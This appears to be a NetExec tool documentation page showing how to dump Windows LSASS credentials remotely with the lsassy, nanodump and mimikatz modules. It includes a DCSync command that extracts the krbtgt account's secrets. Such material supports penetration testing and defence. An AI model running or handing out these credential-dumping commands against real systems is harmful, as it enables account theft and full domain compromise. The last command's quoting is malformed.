Dump LSASS

You need at least local admin privilege on the remote target, use option --local-auth if your user is a local account

Using Lsassy

Using the module Lsassy from @pixis you can dump remotely the credentials

#~ nxc smb 192.168.255.131 -u administrator -p pass -M lsassy

Using nanodump

Using the module nanodump you can dump remotely the credentials

#~ nxc smb 192.168.255.131 -u administrator -p pass -M nanodump

Using Mimikatz (deprecated)

You need at least local admin privilege on the remote target, use option --local-auth if your user is a local account

Using the module Mimikatz, the powershell script Invoke-mimikatz.ps1 will be executed on the remote target

#~ nxc smb 192.168.255.131 -u administrator -p pass -M mimikatz

#~ nxc smb 192.168.255.131 -u Administrator -p pass -M mimikatz -o COMMAND='"lsadump::dcsync /domain:domain.local /user:krbtgt"